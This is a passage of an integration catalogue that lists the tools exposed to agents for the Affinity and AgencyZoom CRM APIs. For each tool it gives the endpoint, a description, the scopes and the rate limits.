### Pagination Uses cursor-based pagination. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/lists/{listId}/list-entries/search. Scopes: api. affinity_post_v2_notes (write) — Create a Note via POST /v2/notes. Create a new note. By default it is authored by the calling user; set `creator` to attribute it to a different internal person in your organization. Notes can be attached directly to entities (`Persons`, `Companies`, `Opportunities`), anchored to an interaction (`meeting`, `call`, or `chat message`), or written as a reply to an existing note. The `type` field selects the shape of the request body. AI Notetaker note types (`ai-notetaker`, `ai-notetaker-reply`) are system-generated and cannot be created through this endpoint. | **`type`** | **Description** | **Required** | **Optional** | |------------|-----------------|--------------|--------------| | `entities` | A note attached directly to one or more entities. | `content`, and at least one of `persons` / `companies` / `opportunities`. | Any combination of `persons` / `companies` / `opportunities`. | | `interaction` | A note anchored to a meeting, call, or chat message. | `content`, `interaction.{type,id}`. | `persons` / `companies` / `opportunities`, added as direct associations on top of the interaction's own participants. | | `user-reply` | A reply to an existing root note. Replies have no entity associations or interaction attachment of their own. | `content`, `parent.id` (must reference an existing root note the caller can access). | None | By default a note is authored by the calling user. To attribute a note to a different member of your organization, set the optional `creator` field to reference that person by id. The referenced person must be an active internal person in your organization. By default a note's creation time is the time of the request. To backfill a historical note, set the optional `createdAt` field to the time the note should be recorded as created. **Body content.** `content.html` is rendered HTML that must use only the allowed tags; submitting restricted tags, attributes, URL schemes, or mention spans will cause the request to fail. See the request examples below for representative payloads. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/notes. Scopes: api. affinity_post_v2_notes_by_noteid (write) — Update a single Note via POST /v2/notes/{noteId}. Make an update to an existing note's body content or its entity associations. You can only update notes you have write access to. You can update any type of note including AI Notetaker notes (`ai-notetaker`, `ai-notetaker-reply`), but a note's type itself cannot be changed. All body properties are optional: only the properties supplied are updated, and other properties are left unchanged. For each of `persons`, `companies`, and `opportunities`, you may: - omit the field to leave existing associations unchanged - send an empty array (`[]`) to clear all associations of that kind - send a non-empty array to replace the existing set with the supplied list. Reply notes (`user-reply`, `ai-notetaker-reply`) have no entity associations, so only `content` can be updated for replies. Updating `content` is subject to the same HTML restrictions as creation; submitting restricted HTML will cause the request to fail. See the request examples below. The content of notes that contain @mentions cannot be updated through this endpoint; attempting to do so returns `400 Bad Request`. Returns `204 No Content` on success, regardless of whether any properties actually changed. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/notes/{noteId}. Scopes: api. affinity_post_v2_notes_search (write) — Search Notes by Keyword via POST /v2/notes/search. Search notes by keyword. The scope of the search is controlled by the request body: - Provide `noteIds` to limit the search to specific notes. - Provide `companyId` to limit the search to notes associated with a specific company. - Omit both to search across your entire account. `noteIds` and `companyId` are mutually exclusive. Returns up to `limit` notes ordered by relevance. Prompts with no strong matches may still return low-relevance results. Each result contains a matched note and a single representative excerpt (a matching passage from that note). Even if a note contains multiple matching passages, it appears exactly once in the response with one excerpt. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/notes/search. Scopes: api. affinity_post_v2_person_merges (write) — Initiate Person Merge via POST /v2/person-merges. Initiate a person merge to combine a duplicate person profile into a primary person profile. This is an asynchronous process that will merge all data from the duplicate person into the primary person. Once the merge is initiated, you can track its progress using the returned task URL. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/person-merges. Scopes: api. affinity_post_v2_persons (write) — Create a Person via POST /v2/persons. This endpoint is currently in BETA. Creates a new Person. Setting `fields` values requires the "Edit Global Field Values" permission and returns a 403 error if the caller lacks it. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/persons. Scopes: api. affinity_post_v2_persons_by_personid_fields_by_fieldid (write) — Update a single field value on a Person via POST /v2/persons/{personId}/fields/{fieldId}. Update a single field value on a person. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/persons/{personId}/fields/{fieldId}. Scopes: api. affinity_post_v2_persons_search (write) — Search Persons via POST /v2/persons/search. | ⚠️ This endpoint is currently in BETA | |--| Search for Persons matching the given criteria. Accepts an optional combination of filters, sorts, and a search term. Omitting the body is equivalent to `GET /v2/persons` with default pagination. Requires the "Export All People directory" [permission](/pages/external-api-v2/permissions). ### Field IDs Field IDs used in `filters`, `sorts`, and `search.fieldIds` follow the formats described in [Working with Field Data](/pages/data-model/working-with-field-data). Use `GET /v2/persons/fields` to discover the available fields and their `valueType`. ### `attributeId` Some fields require an `attributeId` to specify which aspect to filter or sort on. The following relationship intelligence fields all use `attributeId: "date-of-activity"`: `last-email`, `first-email`, `last-contact`, `last-event`, `first-event`, `next-event`. Use `GET /v2/persons/fields` to confirm which fields require an `attributeId`. ### Search The `search.term` is always matched against the person's first name, last name, and primary email address. Providing `search.fieldIds` extends the search to those additional fields; it does not restrict matching to only those fields. Fields with a `valueType` of `datetime` are not searchable and are silently ignored if included in `search.fieldIds`. ### Limits - **Items per filter group** (filters or nested groups): 50 - **Values per filter** (e.g. options in `is-any-of`): 100 - **Sort criteria**: 5 - **Search term minimum length**: 3 characters - **Results per page**: 100 ### Pagination Uses cursor-based pagination. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/persons/search. Scopes: api. affinity_post_v2_reminders (write) — Create a Reminder via POST /v2/reminders. Creates a new Reminder. Exactly one of `company`, `person`, or `opportunity` must be provided. The `creator` of the new reminder is the user associated with the API key. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/reminders. Scopes: api. affinity_post_v2_reminders_by_reminderid (write) — Update a Reminder via POST /v2/reminders/{reminderId}. | ⚠️ This endpoint is currently in BETA | |--| Updates a Reminder. Only provided fields are changed; omitted fields keep their current value. Setting `completedAt` marks the reminder complete (for `recurring` reminders, this advances `dueDate` by `recurrence.periodDays` and `completedAt` remains `null` on the resource). Setting `completedAt` to `null` marks the reminder incomplete and is rejected for `recurring` reminders. Only the reminder's creator or owner may update it (including completing or uncompleting it). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/reminders/{reminderId}. Scopes: api. affinity_post_v2_semantic_search (write) — Semantic Search via POST /v2/semantic-search. Perform an AI-powered semantic search. Use the `entityType` field in the request body to specify which entity type to search. Currently only supports companies. The `prompt` field accepts natural language describing the companies to find. Supported query dimensions include: - Industry or sector - Example: `climate tech companies in our pipeline` - Descriptive technology or business concepts - Example: `biotech companies working on extracellular vesicles` - Funding information: investment stage, funding date, amount raised, and year founded - Example: `Series A companies that raised more than $10M` - Employee metrics: headcount, hiring rate, and departure rate - Example: `companies with more than 100 employees` - Interaction history - Example: `companies our firm emailed recently` - Relationship strength - Example: `companies where we have strong connections` - Relative time references - Example: `AI companies founded in the past 3 years` - Headquarters location: city, state, country, or region - Example: `fintech startups in San Francisco` - Investor name - Example: `companies backed by Sequoia Capital` These dimensions can be combined in a single prompt, for example `climate tech companies in San Francisco that raised a Series A in the past year`. Results can be sorted by including the desired sort in the prompt itself, for example `Series B companies with the most funding`. Only one sortable attribute is supported per request. Use the `listIds` field to scope results to companies on specific lists, and combine it with `prompt` to search semantically within those lists. Retrieve list IDs from `GET /v2/lists`. The phrases `I`, `we`, and `our firm` always refer to firm-wide data: interaction history and relationship strength cannot be filtered to a specific team member. The phrases `in our pipeline` and `in our network` match companies your firm has interacted with or added to Affinity in general. They do not search for membership in a list literally named "Pipeline" or similar. To search a specific named list, use `listIds`. The following are not supported: - Third-party enrichment data such as Crunchbase, PitchBook, or Dealroom. - Company valuation and revenue metrics. - Lookup by similarity to a named company, for example `companies like OpenAI`. - Notes, email body content, or file attachments. - Custom fields. - Computed or formula-based sorts, such as a ratio between two fields. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/semantic-search. Scopes: api. affinity_post_v2_webhooks (write) — Create a Webhook via POST /v2/webhooks. | ⚠️ This endpoint is currently in BETA | |--| Creates a new Webhook. The `creator` of the new webhook is the user associated with the API key. The URL is validated with a test delivery before the webhook is created. The request is rejected with a `validation` error on the `url` property when the URL is invalid or unreachable, contains embedded credentials, or already belongs to another webhook in the organization. The request is rejected with a `bad-request` error, which has no associated property, when the organization has reached its webhook limit. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/webhooks. Scopes: api. affinity_post_v2_webhooks_by_webhookid (write) — Update a Webhook via POST /v2/webhooks/{webhookId}. | ⚠️ This endpoint is currently in BETA | |--| Updates a Webhook. Only provided fields are changed; omitted fields keep their current value. Changing `url` on an active webhook, or setting `status` to `active` on a disabled webhook, triggers a test delivery that validates the URL before the update is applied. URLs containing embedded credentials are rejected. Only the webhook's creator, or a user allowed to manage all webhooks, may update it. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/webhooks/{webhookId}. Scopes: api. ================================================================================ ## AgencyZoom URL: https://www.agenticfabriq.com/integrations/agencyzoom Section: Integrated Tools AgencyZoom — 110 MCP tools Provider key: agencyzoom. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. agencyzoom_delete_v1_api_customers_by_customerid (write, destructive) — Delete a customer via DELETE /v1/api/customers/{customerId} DELETE /api/v1/agencyzoom/customers/{customerId}. Scopes: api. agencyzoom_delete_v1_api_customers_by_customerid_files_by_fileid (write, destructive) — Delete a customer file via DELETE /v1/api/customers/{customerId}/files/{fileId} DELETE /api/v1/agencyzoom/customers/{customerId}/files/{fileId}. Scopes: api. agencyzoom_delete_v1_api_customers_by_customerid_policies_by_policyid (write, destructive) — Delete a customer policy via DELETE /v1/api/customers/{customerId}/policies/{policyId} DELETE /api/v1/agencyzoom/customers/{customerId}/policies/{policyId}. Scopes: api. agencyzoom_delete_v1_api_leads_by_leadid_files_by_fileid (write, destructive) — Delete a lead file via DELETE /v1/api/leads/{leadId}/files/{fileId} DELETE /api/v1/agencyzoom/leads/{leadId}/files/{fileId}. Scopes: api. agencyzoom_delete_v1_api_leads_by_leadid_opportunities_by_opportunityid (write, destructive) — Delete a lead opportunity via DELETE /v1/api/leads/{leadId}/opportunities/{opportunityId} DELETE /api/v1/agencyzoom/leads/{leadId}/opportunities/{opportunityId}. Scopes: api. agencyzoom_delete_v1_api_leads_by_leadid_quotes_by_quoteid (write, destructive) — Delete a lead quote via DELETE /v1/api/leads/{leadId}/quotes/{quoteId} DELETE /api/v1/agencyzoom/leads/{leadId}/quotes/{quoteId}. Scopes: api. agencyzoom_delete_v1_api_opportunities_by_opportunityid (write, destructive) — Delete an opportunity via DELETE /v1/api/opportunities/{opportunityId} DELETE /api/v1/agencyzoom/opportunities/{opportunityId}. Scopes: api. agencyzoom_delete_v1_api_opportunities_drivers_by_driverid (write, destructive) — Delete a driver via DELETE /v1/api/opportunities/drivers/{driverId} DELETE /api/v1/agencyzoom/opportunities/drivers/{driverId}. Scopes: api. agencyzoom_delete_v1_api_opportunities_vehicles_by_vehicleid (write, destructive) — Delete a vehicle via DELETE /v1/api/opportunities/vehicles/{vehicleId} DELETE /api/v1/agencyzoom/opportunities/vehicles/{vehicleId}. Scopes: api. agencyzoom_delete_v1_api_tasks_by_taskid (write, destructive) — Delete a task via DELETE /v1/api/tasks/{taskId} DELETE /api/v1/agencyzoom/tasks/{taskId}. Scopes: api. agencyzoom_get_v1_api_assign_groups (read) — Get a list of assign groups via GET /v1/api/assign-groups GET /api/v1/agencyzoom/assign-groups. Scopes: api. agencyzoom_get_v1_api_by_leadid_recycle_events (read) — Get a list of recycle events via GET /v1/api/{leadId}/recycle-events GET /api/v1/agencyzoom/{leadId}/recycle-events. Scopes: api. agencyzoom_get_v1_api_carriers (read) — Get a list of carriers via GET /v1/api/carriers GET /api/v1/agencyzoom/carriers. Scopes: api. agencyzoom_get_v1_api_csrs (read) — Get a list of csrs via GET /v1/api/csrs GET /api/v1/agencyzoom/csrs. Scopes: api. agencyzoom_get_v1_api_custom_fields (read) — Get a list of custom fields via GET /v1/api/custom-fields GET /api/v1/agencyzoom/custom-fields. Scopes: api. agencyzoom_get_v1_api_customers_by_customerid (read) — Get the customer details via GET /v1/api/customers/{customerId} GET /api/v1/agencyzoom/customers/{customerId}. Scopes: api. agencyzoom_get_v1_api_customers_by_customerid_ams_policies (read) — Get AMS policies for a customer via GET /v1/api/customers/{customerId}/ams-policies GET /api/v1/agencyzoom/customers/{customerId}/ams-policies. Scopes: api. agencyzoom_get_v1_api_customers_by_customerid_policies (read) — Get policies for a customer via GET /v1/api/customers/{customerId}/policies GET /api/v1/agencyzoom/customers/{customerId}/policies. Scopes: api. agencyzoom_get_v1_api_customers_by_customerid_tasks (read) — Get the customer tasks via GET /v1/api/customers/{customerId}/tasks GET /api/v1/agencyzoom/customers/{customerId}/tasks. Scopes: api. agencyzoom_get_v1_api_employees (read) — Get a list of employees via GET /v1/api/employees GET /api/v1/agencyzoom/employees. Scopes: api. agencyzoom_get_v1_api_end_stages (read) — Get list of endStages via GET /v1/api/end-stages GET /api/v1/agencyzoom/end-stages. Scopes: api. agencyzoom_get_v1_api_lead_source_categories (read) — Get a list of lead source categories via GET /v1/api/lead-source-categories GET /api/v1/agencyzoom/lead-source-categories. Scopes: api. agencyzoom_get_v1_api_lead_sources (read) — Get a list of lead sources via GET /v1/api/lead-sources GET /api/v1/agencyzoom/lead-sources. Scopes: api. agencyzoom_get_v1_api_leads_by_leadid (read) — Get the lead details via GET /v1/api/leads/{leadId} GET /api/v1/agencyzoom/leads/{leadId}. Scopes: api. agencyzoom_get_v1_api_leads_by_leadid_notes (read) — Get lead notes via GET /v1/api/leads/{leadId}/notes GET /api/v1/agencyzoom/leads/{leadId}/notes. Scopes: api. agencyzoom_get_v1_api_leads_by_leadid_opportunities (read) — Get the opportunities for a lead via GET /v1/api/leads/{leadId}/opportunities GET /api/v1/agencyzoom/leads/{leadId}/opportunities. Scopes: api. agencyzoom_get_v1_api_leads_by_leadid_quotes (read) — Get lead quotes via GET /v1/api/leads/{leadId}/quotes GET /api/v1/agencyzoom/leads/{leadId}/quotes. Scopes: api. agencyzoom_get_v1_api_leads_by_leadid_tasks (read) — Get lead tasks via GET /v1/api/leads/{leadId}/tasks GET /api/v1/agencyzoom/leads/{leadId}/tasks. Scopes: api. agencyzoom_get_v1_api_life_professionals (read) — Get a list of life professionals via GET /v1/api/life-professionals GET /api/v1/agencyzoom/life-professionals. Scopes: api. agencyzoom_get_v1_api_locations (read) — Get a list of locations via GET /v1/api/locations GET /api/v1/agencyzoom/locations. Scopes: api. agencyzoom_get_v1_api_loss_reasons (read) — Get a list of loss reasons via GET /v1/api/loss-reasons GET /api/v1/agencyzoom/loss-reasons. Scopes: api. agencyzoom_get_v1_api_opportunities_by_opportunityid (read) — Get the Opportunity details via GET /v1/api/opportunities/{opportunityId} GET /api/v1/agencyzoom/opportunities/{opportunityId}. Scopes: api. agencyzoom_get_v1_api_opportunities_by_opportunityid_drivers (read) — Get a list of drivers for an opportunity via GET /v1/api/opportunities/{opportunityId}/drivers GET /api/v1/agencyzoom/opportunities/{opportunityId}/drivers. Scopes: api. agencyzoom_get_v1_api_opportunities_by_opportunityid_vehicles (read) — Get a list of vehicles for an opportunity via GET /v1/api/opportunities/{opportunityId}/vehicles GET /api/v1/agencyzoom/opportunities/{opportunityId}/vehicles. Scopes: api. agencyzoom_get_v1_api_opportunities_drivers_by_driverid (read) — Get the Driver details via GET /v1/api/opportunities/drivers/{driverId} GET /api/v1/agencyzoom/opportunities/drivers/{driverId}. Scopes: api. agencyzoom_get_v1_api_opportunities_vehicles_by_vehicleid (read) — Get the Vehicle details via GET /v1/api/opportunities/vehicles/{vehicleId} GET /api/v1/agencyzoom/opportunities/vehicles/{vehicleId}. Scopes: api. agencyzoom_get_v1_api_pipelines (read) — Get a list of pipelines by type via GET /v1/api/pipelines GET /api/v1/agencyzoom/pipelines. Scopes: api. agencyzoom_get_v1_api_pipelines_and_stages (read) — Get a list of pipelines and stages via GET /v1/api/pipelines-and-stages GET /api/v1/agencyzoom/pipelines-and-stages. Scopes: api. agencyzoom_get_v1_api_product_categories (read) — Get a list of product categories (policy categories) via GET /v1/api/product-categories GET /api/v1/agencyzoom/product-categories. Scopes: api. agencyzoom_get_v1_api_product_lines (read) — Get a list of product lines (policy types) via GET /v1/api/product-lines GET /api/v1/agencyzoom/product-lines. Scopes: api. agencyzoom_get_v1_api_service_categories (read) — Get a list of service categories via GET /v1/api/service-categories GET /api/v1/agencyzoom/service-categories. Scopes: api. agencyzoom_get_v1_api_service_priorities (read) — Get a list of service priorities via GET /v1/api/service-priorities GET /api/v1/agencyzoom/service-priorities. Scopes: api. agencyzoom_get_v1_api_service_resolutions (read) — Get a list of service resolutions via GET /v1/api/service-resolutions GET /api/v1/agencyzoom/service-resolutions. Scopes: api. agencyzoom_get_v1_api_serviceticket_service_tickets_by_id_ams_policies (read) — Get AMS policies for a Service Ticket via GET /v1/api/serviceTicket/service-tickets/{id}/ams-policies GET /api/v1/agencyzoom/serviceTicket/service-tickets/{id}/ams-policies. Scopes: api. agencyzoom_get_v1_api_serviceticket_service_tickets_by_id_policies (read) — Get policies for a Service Ticket via GET /v1/api/serviceTicket/service-tickets/{id}/policies GET /api/v1/agencyzoom/serviceTicket/service-tickets/{id}/policies. Scopes: api. agencyzoom_get_v1_api_tags (read) — Get a list of tags via GET /v1/api/tags GET /api/v1/agencyzoom/tags. Scopes: api. agencyzoom_get_v1_api_tasks_by_taskid (read) — Get the task details via GET /v1/api/tasks/{taskId} GET /api/v1/agencyzoom/tasks/{taskId}. Scopes: api. agencyzoom_get_v1_api_text_thread_producer (read) — Get a list of producer via GET /v1/api/text-thread/producer GET /api/v1/agencyzoom/text-thread/producer. Scopes: api. agencyzoom_post_v1_api_contact_batch_create (write) — Batch create contacts. Please note, maximum 5 contacts can be created in a single call. Contacts can be associated with either customers (via customerId) or leads (via leadId). via POST /v1/api/contact/batch-create POST /api/v1/agencyzoom/contact/batch-create. Scopes: api. agencyzoom_post_v1_api_customers (write) — Search Customers via POST /v1/api/customers POST /api/v1/agencyzoom/customers. Scopes: api. agencyzoom_post_v1_api_customers_by_customerid_notes (write) — Create a customer note via POST /v1/api/customers/{customerId}/notes POST /api/v1/agencyzoom/customers/{customerId}/notes. Scopes: api. agencyzoom_post_v1_api_customers_create (write) — Create customer via POST /v1/api/customers/create POST /api/v1/agencyzoom/customers/create. Scopes: api. agencyzoom_post_v1_api_dashboard_data_sales_data (write) — Get summary sales data for dashboard via POST /v1/api/dashboard-data/sales-data POST /api/v1/agencyzoom/dashboard-data/sales-data. Scopes: api. agencyzoom_post_v1_api_department_groups (write) — Get departments, groups via POST /v1/api/department-groups POST /api/v1/agencyzoom/department-groups. Scopes: api. agencyzoom_post_v1_api_email_thread_delete_message (write) — Delete Message via POST /v1/api/email-thread/delete-message POST /api/v1/agencyzoom/email-thread/delete-message. Scopes: api. agencyzoom_post_v1_api_email_thread_delete_thread (write) — Delete Thread via POST /v1/api/email-thread/delete-thread POST /api/v1/agencyzoom/email-thread/delete-thread. Scopes: api. agencyzoom_post_v1_api_email_thread_email_thread_detail (write) — Get thread details via POST /v1/api/email-thread/email-thread-detail POST /api/v1/agencyzoom/email-thread/email-thread-detail. Scopes: api. agencyzoom_post_v1_api_email_thread_list (write) — Search Email Threads via POST /v1/api/email-thread/list POST /api/v1/agencyzoom/email-thread/list. Scopes: api. agencyzoom_post_v1_api_email_thread_unread_thread (write) — Unread Thread via POST /v1/api/email-thread/unread-thread POST /api/v1/agencyzoom/email-thread/unread-thread. Scopes: api. agencyzoom_post_v1_api_get_classifications (write) — Search Business Classifications via POST /v1/api/get-classifications POST /api/v1/agencyzoom/get-classifications. Scopes: api. agencyzoom_post_v1_api_leads_batch_create (write) — Batch create a personal lead. Please note, maximum 5 leads can be created via POST /v1/api/leads/batch-create POST /api/v1/agencyzoom/leads/batch-create. Scopes: api. agencyzoom_post_v1_api_leads_by_leadid_delete_lead (write) — Delete a Lead via POST /v1/api/leads/{leadId}/delete-lead POST /api/v1/agencyzoom/leads/{leadId}/delete-lead. Scopes: api. agencyzoom_post_v1_api_leads_by_leadid_notes (write) — Create a lead note via POST /v1/api/leads/{leadId}/notes POST /api/v1/agencyzoom/leads/{leadId}/notes. Scopes: api. agencyzoom_post_v1_api_leads_by_leadid_opportunities (write) — Create a lead opportunity via POST /v1/api/leads/{leadId}/opportunities POST /api/v1/agencyzoom/leads/{leadId}/opportunities. Scopes: api. agencyzoom_post_v1_api_leads_by_leadid_quotes (write) — Create a lead quote via POST /v1/api/leads/{leadId}/quotes POST /api/v1/agencyzoom/leads/{leadId}/quotes. Scopes: api. agencyzoom_post_v1_api_leads_by_leadid_sold (write) — Move lead to sold via POST /v1/api/leads/{leadId}/sold POST /api/v1/agencyzoom/leads/{leadId}/sold. Scopes: api. agencyzoom_post_v1_api_leads_create (write) — Create a personal lead via POST /v1/api/leads/create POST /api/v1/agencyzoom/leads/create. Scopes: api. agencyzoom_post_v1_api_leads_create_biz_lead (write) — Create a commercial lead via POST /v1/api/leads/create-biz-lead POST /api/v1/agencyzoom/leads/create-biz-lead. Scopes: api. agencyzoom_post_v1_api_leads_files (write) — Get lead files via POST /v1/api/leads/files POST /api/v1/agencyzoom/leads/files. Scopes: api. agencyzoom_post_v1_api_leads_list (write) — Search leads via POST /v1/api/leads/list POST /api/v1/agencyzoom/leads/list. Scopes: api. agencyzoom_post_v1_api_leads_pipeline_count (write) — Search leads count via POST /v1/api/leads/pipeline-count POST /api/v1/agencyzoom/leads/pipeline-count. Scopes: api. agencyzoom_post_v1_api_life (write) — Search life and health leads via POST /v1/api/life POST /api/v1/agencyzoom/life. Scopes: api. agencyzoom_post_v1_api_opportunities (write) — Create an opportunity via POST /v1/api/opportunities POST /api/v1/agencyzoom/opportunities. Scopes: api. agencyzoom_post_v1_api_opportunities_by_opportunityid_driver (write) — Create a driver for an opportunity via POST /v1/api/opportunities/{opportunityId}/driver POST /api/v1/agencyzoom/opportunities/{opportunityId}/driver. Scopes: api. agencyzoom_post_v1_api_opportunities_by_opportunityid_vehicle (write) — Create a vehicle for an opportunity via POST /v1/api/opportunities/{opportunityId}/vehicle POST /api/v1/agencyzoom/opportunities/{opportunityId}/vehicle. Scopes: api. agencyzoom_post_v1_api_policies_create (write) — Create policy. via POST /v1/api/policies/create POST /api/v1/agencyzoom/policies/create. Scopes: api. agencyzoom_post_v1_api_policies_endorse (write) — Create an endorsement for a policy via POST /v1/api/policies/endorse POST /api/v1/agencyzoom/policies/endorse. Scopes: api. agencyzoom_post_v1_api_policies_update_status (write) — Update a policy via POST /v1/api/policies/update-status POST /api/v1/agencyzoom/policies/update-status. Scopes: api. agencyzoom_post_v1_api_policies_update_tags (write) — Tag a policy via POST /v1/api/policies/update-tags POST /api/v1/agencyzoom/policies/update-tags. Scopes: api. agencyzoom_post_v1_api_serviceticket_service_tickets_by_id_complete (write) — Complete Service Ticket via POST /v1/api/serviceTicket/service-tickets/{id}/complete POST /api/v1/agencyzoom/serviceTicket/service-tickets/{id}/complete. Scopes: api. agencyzoom_post_v1_api_serviceticket_service_tickets_create (write) — Create Service Ticket via POST /v1/api/serviceTicket/service-tickets/create POST /api/v1/agencyzoom/serviceTicket/service-tickets/create. Scopes: api. agencyzoom_post_v1_api_serviceticket_service_tickets_list (write) — Service Ticket List via POST /v1/api/serviceTicket/service-tickets/list POST /api/v1/agencyzoom/serviceTicket/service-tickets/list. Scopes: api. agencyzoom_post_v1_api_tasks (write) — Create Task via POST /v1/api/tasks POST /api/v1/agencyzoom/tasks. Scopes: api. agencyzoom_post_v1_api_tasks_batch_delete (write) — Batch Delete Task via POST /v1/api/tasks/batch-delete POST /api/v1/agencyzoom/tasks/batch-delete. Scopes: api. agencyzoom_post_v1_api_tasks_list (write) — Search tasks via POST /v1/api/tasks/list POST /api/v1/agencyzoom/tasks/list. Scopes: api. agencyzoom_post_v1_api_text_thread_delete_thread (write) — Delete Thread via POST /v1/api/text-thread/delete-thread POST /api/v1/agencyzoom/text-thread/delete-thread. Scopes: api. agencyzoom_post_v1_api_text_thread_list (write) — Search SMS Threads via POST /v1/api/text-thread/list POST /api/v1/agencyzoom/text-thread/list. Scopes: api. agencyzoom_post_v1_api_text_thread_text_thread_detail (write) — Text Detail Thread via POST /v1/api/text-thread/text-thread-detail POST /api/v1/agencyzoom/text-thread/text-thread-detail. Scopes: api. agencyzoom_post_v1_api_text_thread_unread_thread (write) — Unread Thread via POST /v1/api/text-thread/unread-thread POST /api/v1/agencyzoom/text-thread/unread-thread. Scopes: api. agencyzoom_put_v1_api_customers_by_customerid (write) — Update customer via PUT /v1/api/customers/{customerId} PUT /api/v1/agencyzoom/customers/{customerId}. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid (write) — Update a personal lead - If no parameter is provided, the existing data will be deleted. via PUT /v1/api/leads/{leadId} PUT /api/v1/agencyzoom/leads/{leadId}. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_opportunities (write) — update a lead opportunity via PUT /v1/api/leads/{leadId}/opportunities PUT /api/v1/agencyzoom/leads/{leadId}/opportunities. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_quotes (write) — update a lead quote via PUT /v1/api/leads/{leadId}/quotes PUT /api/v1/agencyzoom/leads/{leadId}/quotes. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_rename (write) — update a lead file name via PUT /v1/api/leads/{leadId}/rename PUT /api/v1/agencyzoom/leads/{leadId}/rename. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_stage (write) — Change stage for lead via PUT /v1/api/leads/{leadId}/stage PUT /api/v1/agencyzoom/leads/{leadId}/stage. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_status (write) — Change status for lead via PUT /v1/api/leads/{leadId}/status PUT /api/v1/agencyzoom/leads/{leadId}/status. Scopes: api. agencyzoom_put_v1_api_leads_by_leadid_update_biz_lead (write) — Update commercial lead - If no parameter is provided, the existing data will be deleted. via PUT /v1/api/leads/{leadId}/update-biz-lead PUT /api/v1/agencyzoom/leads/{leadId}/update-biz-lead. Scopes: api. agencyzoom_put_v1_api_opportunities_by_opportunityid (write) — Update an opportunity via PUT /v1/api/opportunities/{opportunityId} PUT /api/v1/agencyzoom/opportunities/{opportunityId}. Scopes: api. agencyzoom_put_v1_api_opportunities_by_opportunityid_link_driver_by_driverid (write) — link a driver to opportunity via PUT /v1/api/opportunities/{opportunityId}/link-driver/{driverId} PUT /api/v1/agencyzoom/opportunities/{opportunityId}/link-driver/{driverId}. Scopes: api. agencyzoom_put_v1_api_opportunities_by_opportunityid_link_vehicle_by_vehicleid (write) — link a vehicle to opportunity via PUT /v1/api/opportunities/{opportunityId}/link-vehicle/{vehicleId} PUT /api/v1/agencyzoom/opportunities/{opportunityId}/link-vehicle/{vehicleId}. Scopes: api. agencyzoom_put_v1_api_opportunities_by_opportunityid_unlink_driver_by_driverid (write) — Unlink a driver from opportunity via PUT /v1/api/opportunities/{opportunityId}/unlink-driver/{driverId} PUT /api/v1/agencyzoom/opportunities/{opportunityId}/unlink-driver/{driverId}. Scopes: api. agencyzoom_put_v1_api_opportunities_by_opportunityid_unlink_vehicle_by_vehicleid (write) — Unlink a vehicle from opportunity via PUT /v1/api/opportunities/{opportunityId}/unlink-vehicle/{vehicleId} PUT /api/v1/agencyzoom/opportunities/{opportunityId}/unlink-vehicle/{vehicleId}. Scopes: api. agencyzoom_put_v1_api_opportunities_drivers_by_driverid (write) — Update a driver's details via PUT /v1/api/opportunities/drivers/{driverId} PUT 